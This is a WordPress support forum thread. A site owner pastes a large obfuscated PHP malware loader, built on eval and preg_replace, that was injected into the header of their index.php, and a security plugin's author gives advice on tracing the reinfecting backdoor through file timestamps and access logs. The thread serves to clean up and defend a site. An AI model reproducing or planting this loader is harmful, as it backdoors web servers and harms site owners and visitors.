• Resolved jamessavino1

    (@jamessavino1)


    So many of my files have this in the header:

    <?php $bvkfsyoope = ‘kV%x5c%x7878{**#k#)tutjyf%x5c%x!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5%x5c%x7825tdz>#L4]275L3]248L3P6>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y760msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)7825w:!>!%x5c%x78246767~6fuvso!sboepn)%x5c%x7825epnbss-%x8%42%x66%152%x66%147%x67%45c%x7825r%x5c%x7878W~!Ypp2)%x5c785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-77]y72]265]y39]274]y85]273]y6g]273]y75c%x7825_t%x5c%x7825:osvufs:~:<*9-1-rc%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudocnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#285]Ke]53Ld]53]Kc]55Ld6-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84bfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x78782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860u{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)of.)fepdof.%x5c%x782f#pjudovg}%x5c%x7878;0]=])0#)U7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!uhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#y76]72]y3d]51]y35]274]y4:]8ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5cx7860UQPMSVD!-id%x5c%x272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!66~67<&w6<*&7-#o]s]o]s]#8]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]x5c%x7825h>#]y31]278]y3oj%x5c%x78256<%x5c%x787fw6*%x5c%x78822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x72]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#75]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73″,%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%oF.uofuopD#)sfebfI{*w%x5c%x7825)1]y83]256]y78]248]y83]256]y81]265]y72]254]y27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x1]53]y6d]281]y43]78]y33]65]y31]55]y88223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjud27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%xYdrr)%x5c%x7825r%x5c%x7878Bsfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x78786<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]2×7825!<*qp%x5c%x7825-*.%x5c%x7825)e%x7825)!gj}Z;h!opjudovg}{;#)tutjy%x5c%x7825yy)#}#-#%x24-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%xdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%vg%x5c%x7822)!gj}1~!<2p%x5c%x7825%xoj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827d6gP7L6M7]D4]275]D:M8]Df#<c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*d!>!2p%x5c%x7825!|!*!***5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x7827jsv%x5c%x78256<x61%156%x75%156%x61″]=1; function fjfgg($n){return chr(ord($n)-%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x77fw6*%x5c%x787f_*#[k2*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c<Cw6<pd%x5c%x7825w6Z6<.5%52%x29%57%x65″,”%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%xe]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:5%x7825!<*#}_;#)323ldfid>}&;!osvufs}%cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepd6]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x7825-bubE{h%x5c%x7825c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x78x7860SFTV%x5c%x7860QU*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##6|7**111127-K)ebfsX%x5c%x7827211M5]67]452]88]5]48]37825V<*#fopoV;hojepdx782f},;#-#}+;%x5c%x78257jsv%x5c%x78257UFH#%x5c%x7827rfs%x]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825f5.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x82f%x5c%x7824)#P#-#Q#-#B#-#T5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!25!<12>j%x5c%x7825!|!*#91y]c9y%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%7-K)udfoopdXA%x5c%x7822)7gj6<*c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%56<pd%x5c%x7825w6Z6<.3x5c%x7824-%x5c%x7824y7%x5c%x7824%x5c%x785c%x5c%x-qp%x5c%x7825)54l}%x5c%x7827;%x5c984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc NULL); }5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:dXA6~6<u%x5c%x78257>%x5c%x782f7&c%x7825#%x5c%x782f#o]#%x5c%x782f*UI&b%x5c%x7825!|!*)323zbek!~!<b%61″])))) { $GLOBALS[“%}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c825mm!>!#]y81]273]y76]258]y6g8]y6g]273]y76]271]y7d]252]y74]256c%x7825)ppde>u%x5c%x782c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%1);} @error_reporting(0); preg_replace(“%x2f%50%x2e5c%x78256~6<%x5c%x787fw6<*Kx5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]47>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%xnpd%x5c%x782f#)rrd%x5c%x782f5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x782%x5c%x7824]25%x5c%x7824-%x5c%x78%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x782]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w28%141%x72%162%x61%171%x5f%155%x61%160%x2x5c%x7824-%x5c%x7824gvodujpo!%5V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,2M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x%x7825)gpf{jt)!gj!<*2bd%x5c%x7825<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z860QIQ&f_UTPI%x5c%x7860QUUI&x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfm-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x782fldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%(-!#]y76]277]y72]265]y39]272]y3:]62]y4c#<!%x5c%x7825t::!>!%x#W#-#C#-#O#-#N#*%x5c%x7824%x5cftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48ovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x78c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%xx5c%x7825%x5c%x787f!<X>b%x5cx5c%x7825!*3>?*2b%x5cx7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x7#%x5c%x782f%x5c%x7825z*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782fC>^#zsfvr#%x5c%x785cq%x5c%x7822%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%7825G]y6d]281Ld]245]K2]!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%fttj%x5c%x7822)gj6<^#Y#%x5c%x785cu%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&67!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860htussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x75c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f3%x787f%x5c%x787f%x5c%x787f<u%x5c%x757**^#zsfvr#%x5c%x785cq%x5c%x7825)u2272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpm5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x77825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]277825:<**#57]38y]47]67y]37]88y]%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]ye_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<if((function_exists(“%x6f%142%x5f%163%x75c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78ex5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]25)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x782f;!|!}{;)gj}l;33bq}k;o%x5c%x7860hA%x5c%x7827pd%x5x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x54gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%4-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%xL1M5]D2P4]D6#<%x5c%x#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*dx5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~%x7860hA%x5c%x7827pd%x5c%x7825c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x7825s:%x5c%x785c%x5c%x7825%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5cx5c%x7827;mnui}&;zepc}A;~!}%x5c%x787QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fu5c%x7825)Rb%x5c%x7825))!gj!<*#860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%7f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7c%x7827pd%x5c%x78256|6.7eu{62]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x54]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x76]61]y33]68]y34]68]y33]65]y35c%x7824-%x5c%x7824-tusqpt)%x5c%x7825zc%x7825)3of:opjudovg<~%x5c%x77>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824<!%x5c%x7x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7)ftpmdXA6|7**197-2qj%x5c%x7825%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7825hOh%x5c%x782f#00#W~!%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x78f%x5c%x7860opjudovg)!gj!|!*msv%xpmpusut)tpqssutRe%x5c%x7825)Rd%x%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x57825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x55rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x4%141%x72%164”) && (!isset($GLOBALS[“%x61%156%x75%156%x**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj/(.*)/epreg_replacenvadxdcrwo’; $kjzilhieko = explode(chr((295-251)),’8059,40,10003,55,4627,22,2985,63,4863,51,3301,67,5268,41,448,26,6673,68,9467,38,6280,58,391,25,3277,24,8742,59,8642,29,4258,22,8338,27,6212,68,9059,27,1675,24,7299,69,4530,32,3754,29,6844,42,9592,59,9293,48,3849,34,4914,27,9505,30,4162,30,8837,59,946,55,7160,59,7638,53,1577,38,4409,68,2965,20,6643,30,7125,35,6811,33,7867,48,5891,59,2840,41,2761,54,1788,35,9023,36,7219,38,2392,60,9535,57,3164,58,8365,52,3638,43,3143,21,3048,38,1166,68,5753,48,1555,22,9677,42,171,45,4649,61,2554,33,9719,32,7368,36,10058,48,1234,68,7755,68,5990,54,9783,50,4192,66,3616,22,8262,54,6886,33,6156,56,4072,30,285,53,741,59,2726,35,8099,61,6366,21,5460,33,6547,33,2519,35,1421,60,5054,28,8526,53,3526,41,1302,22,8020,39,3702,52,2881,23,5629,55,800,64,6919,40,2350,42,9751,32,8896,30,3463,63,5545,28,7961,59,3681,21,4595,32,6338,28,7592,46,8579,63,556,69,31,64,4795,68,3825,24,4328,33,3427,36,3086,57,1823,40,8926,58,6428,61,2213,55,6093,63,1508,47,7090,35,9871,67,4772,23,5339,60,2110,67,3805,20,2035,32,0,31,1103,63,8801,36,8316,22,1324,28,6764,47,6387,41,4562,33,2452,67,667,37,3567,49,5573,56,5206,62,126,45,9143,54,704,37,5950,40,7562,30,2268,54,9341,57,4102,60,4941,49,1863,61,9086,57,9264,29,9398,69,4710,29,338,53,5124,32,2607,52,4304,24,1352,69,2587,20,9226,38,5684,69,8466,40,2904,61,5309,30,4280,24,5082,42,8417,49,7691,64,1001,57,6511,36,1481,27,5828,33,4031,41,6959,70,1615,60,2322,28,416,32,474,31,7404,44,5156,50,9938,65,9651,26,8671,43,1974,61,1765,23,3368,59,886,60,6044,49,4361,39,6580,63,7915,46,2815,25,95,31,8506,20,6741,23,864,22,3883,55,2659,67,216,35,7513,49,1699,66,3783,22,5399,61,7029,61,3938,65,4477,53,4990,64,9833,38,7823,44,8714,28,3222,55,7257,42,505,51,1058,45,6489,22,5493,52,8160,62,7448,65,4003,28,625,42,5861,30,8984,39,8222,40,4739,33,251,34,5801,27,2067,43,9197,29,2177,36,1924,50,4400,9′); $yxhbhffjqg=substr($bvkfsyoope,(39718-29612),(28-21)); if (!function_exists(‘ozunjpvfdn’)) { function ozunjpvfdn($hkptessxax, $gqawnkwpwt) { $fiotjixnzp = NULL; for($bicbcnugjm=0;$bicbcnugjm<(sizeof($hkptessxax)/2);$bicbcnugjm++) { $fiotjixnzp .= substr($gqawnkwpwt, $hkptessxax[($bicbcnugjm*2)],$hkptessxax[($bicbcnugjm*2)+1]); } return $fiotjixnzp; };} $jggmjzhlak=”\x20\57\x2a\40\x75\167\x77\166\x6d\153\x6a\167\x6e\152\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\62\x34\55\x31\70\x37\51\x29\54\x20\143\x68\162\x28\50\x33\71\x32\55\x33\60\x30\51\x29\54\x20\157\x7a\165\x6e\152\x70\166\x66\144\x6e\50\x24\153\x6a\172\x69\154\x68\151\x65\153\x6f\54\x24\142\x76\153\x66\163\x79\157\x6f\160\x65\51\x29\51\x3b\40\x2f\52\x20\165\x63\144\x65\170\x71\143\x6a\154\x66\40\x2a\57\x20”; $fhujwaclba=substr($bvkfsyoope,(63938-53825),(47-35)); $fhujwaclba($yxhbhffjqg, $jggmjzhlak, NULL); $fhujwaclba=$jggmjzhlak; $fhujwaclba=(667-546); $bvkfsyoope=$fhujwaclba-1; ?><?php
    /**
    * Front to the WordPress application. This file doesn’t do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define(‘WP_USE_THEMES’, true);

    /** Loads the WordPress Environment and Template */
    require( dirname( __FILE__ ) . ‘/wp-blog-header.php’ );

    Does anyone know how to keep this from cming back? is there a backdoor somewhere?

    Site is https://bigreddog.com

    Help!

    https://www.ads-software.com/plugins/gotmls/

Viewing 6 replies - 1 through 6 (of 6 total)
  • Plugin Author Eli

    (@scheeeli)

    Do you keep cleaning this infection out of your PHP files only for it to come right back an hour later?

    There are a lot of hacks that are on a schedule to reinfect the target sites every hour. Look at the timestamp on the infected files before you fix them. Use the time that the file was modified/changed to hunt down the backdoor in your raw access_log. If you are on shared hosting keep in mind that the target site can be infected by a backdoor or other malicious scripts on another site that is hosted on the same server.

    If you find something that is not detected by me plugin please send the new threat directly to my email: eli AT gotmls DOT net

    Aloha, Eli

    Thread Starter jamessavino1

    (@jamessavino1)

    Eli,

    They show up almost weekly lately..
    Anything you can do to help is greatly appreciated.

    Plugin Author Eli

    (@scheeeli)

    That actually makes it harder than if it was every hour. The next time these files get infected you need to check the file modified time and file changed time. Then go through your access_log file for any POST entries at those times. Keep in mind that the infections could be coming from another site on that server, possibly even from another account that is not your own.

    How many sites do you have on this server? You may want to consider moving at least some of your sites to a more secure host.

    Aloha, Eli

    Thread Starter jamessavino1

    (@jamessavino1)

    2-3 I believe….

    Plugin Author Eli

    (@scheeeli)

    If is really important that they don’t get hacked again I could host them for you. I charge $12/month per site. Email me if you are interested and I can help you migrate the important site(s) over right away so they won’t get reinfected. I’ll understand if you don’t want to move them though.

    Aloha, Eli

    Plugin Author Eli

    (@scheeeli)

    Did you get your sites to stay clean?

    I have new Definition Updates since this problem started. You could try downloading the latest Update and run the Complete Scan again.

    Please let me know if you have resolved this issue or if you still need more help.

    Aloha, Eli

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘So much nonsense on the headers of my PHP files..’ is closed to new replies.